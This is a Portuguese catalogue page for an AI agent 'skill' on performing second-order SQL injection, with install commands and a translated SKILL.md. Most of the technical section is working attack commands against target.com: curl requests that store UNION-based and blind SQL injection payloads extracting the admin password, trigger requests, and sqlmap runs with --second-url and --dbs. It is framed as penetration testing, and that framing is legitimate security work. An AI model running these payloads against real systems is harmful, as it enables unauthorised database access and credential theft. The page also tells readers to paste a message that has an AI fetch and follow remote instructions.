Pular para o conteúdo
Skillpedia
Bancos de dados35 mil · #6138

performing-second-order-sql-injection

Ensina seu agente de IA a consultar e organizar bancos de dados e proteger aplicações contra ataques.

O que ela faz

Essa ferramenta ajuda a encontrar e explorar uma falha de segurança chamada 'injeção SQL de segunda ordem'. Isso acontece quando um dado malicioso é guardado no banco de dados e, depois, usado de forma insegura em outra parte do sistema.

Quando usar

  • ✓Quando testes simples de segurança não encontram falhas, mas você suspeita de algo mais complexo.
  • ✓Ao testar sistemas que guardam informações enviadas por usuários, como comentários ou perfis.
  • ✓Em processos que envolvem várias etapas, onde dados guardados são usados em consultas futuras.

Exemplo do que pedir para a IA

“Procure por falhas de injeção SQL de segunda ordem no sistema de comentários.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-second-order-sql-injection/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-second-order-sql-injection/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

Primeiro, identificamos onde o sistema guarda informações (como em um cadastro) e onde ele usa essas informações depois (como em um relatório). Em seguida, inserimos um código malicioso em um ponto de armazenamento e ativamos o ponto de execução para ver se o código é executado de forma insegura.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-second-order-sql-injection

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-second-order-sql-injection/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Injeção SQL de Segunda Ordem

Quando Usar

  • Quando testes de injeção SQL de primeira ordem revelam sanitização adequada de entrada no momento do armazenamento.
  • Durante testes de penetração de aplicações com conteúdo gerado pelo usuário armazenado em bancos de dados.
  • Ao testar fluxos de trabalho de várias etapas onde dados armazenados alimentam consultas subsequentes ao banco de dados.
  • Durante a avaliação de painéis de administração que exibem ou processam dados enviados pelo usuário.
  • Ao avaliar caminhos de execução de stored procedures que utilizam dados previamente armazenados.

Pré-requisitos

  • Burp Suite Professional para rastreamento de requisições em fluxos de aplicação.
  • SQLMap com suporte a injeção de segunda ordem (flag --second-url).
  • Compreensão dos fundamentos de injeção SQL e técnicas de extração cega.
  • Duas ou mais funções de aplicação (uma para armazenar dados, outra para disparar execução).
  • Monitoramento de mensagens de erro do banco de dados ou conhecimento de técnicas cegas.
  • Múltiplas contas de usuário para testar dados armazenados em diferentes contextos.

Fluxo de Trabalho

Passo 1 — Identificar Pontos de Armazenamento e Gatilho

# Map the application to identify:
# 1. STORAGE POINTS: Where user input is saved to database
#    - User registration (username, email, address)
#    - Profile update forms
#    - Comment/review submission
#    - File upload metadata
#    - Order/booking details

# 2. TRIGGER POINTS: Where stored data is used in queries
#    - Admin panels displaying user data
#    - Report generation
#    - Search functionality using stored preferences
#    - Password reset using stored email
#    - Export/download features

# Register a user with SQL injection in the username
curl -X POST http://target.com/register \
  -d "username=admin'--&password=test123&email=test@test.com"

Passo 2 — Injetar Payloads via Pontos de Armazenamento

# Store SQL injection payload in username during registration
curl -X POST http://target.com/register \
  -d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"

# Store injection in profile fields
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"

# Store injection in address field
curl -X POST http://target.com/api/address \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "address=123 Main St' OR 1=1--&city=Test&zip=12345"

# Store injection in comment/review
curl -X POST http://target.com/api/review \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"

Passo 3 — Disparar a Execução de Payloads Armazenados

# Trigger via password change (uses stored username)
curl -X POST http://target.com/change-password \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "old_password=Test1234&new_password=NewPass123"

# Trigger via admin user listing
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users

# Trigger via data export
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data

# Trigger via search using stored preferences
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations

# Trigger via report generation
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"

Passo 4 — Usar SQLMap para Injeção de Segunda Ordem

# SQLMap with --second-url for second-order injection
# Store payload at registration, trigger at profile page
sqlmap -u "http://target.com/register" \
  --data="username=*&password=test&email=test@test.com" \
  --second-url="http://target.com/profile" \
  --cookie="session=AUTH_TOKEN" \
  --batch --dbs

# Use --second-req for complex trigger requests
sqlmap -u "http://target.com/api/update-profile" \
  --data="display_name=*" \
  --second-req=trigger_request.txt \
  --cookie="session=AUTH_TOKEN" \
  --batch --tables

# Content of trigger_request.txt:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN

Passo 5 — Extração Cega de Segunda Ordem

# Cega baseada em booleano: Verificar se o payload armazenado causa comportamento diferente
# Armazenar: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"

# Disparar e observar a diferença na resposta
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile

# Segunda ordem cega baseada em tempo

…
Perguntas frequentes

O que é 'injeção SQL de segunda ordem'?

É quando um código malicioso é guardado no banco de dados e só é executado depois, em um momento diferente, quando o sistema usa esse dado guardado de forma insegura.

Preciso de algum programa especial para usar isso?

Sim, você precisará de ferramentas como Burp Suite e SQLMap, além de entender como funcionam os ataques de injeção SQL.

Quais são os 'pontos de armazenamento' e 'pontos de gatilho'?

Pontos de armazenamento são onde você insere os dados (ex: formulário de cadastro). Pontos de gatilho são onde esses dados são usados depois (ex: exibição de perfil).

Detalhes

Descrição original do autor

Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6138
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas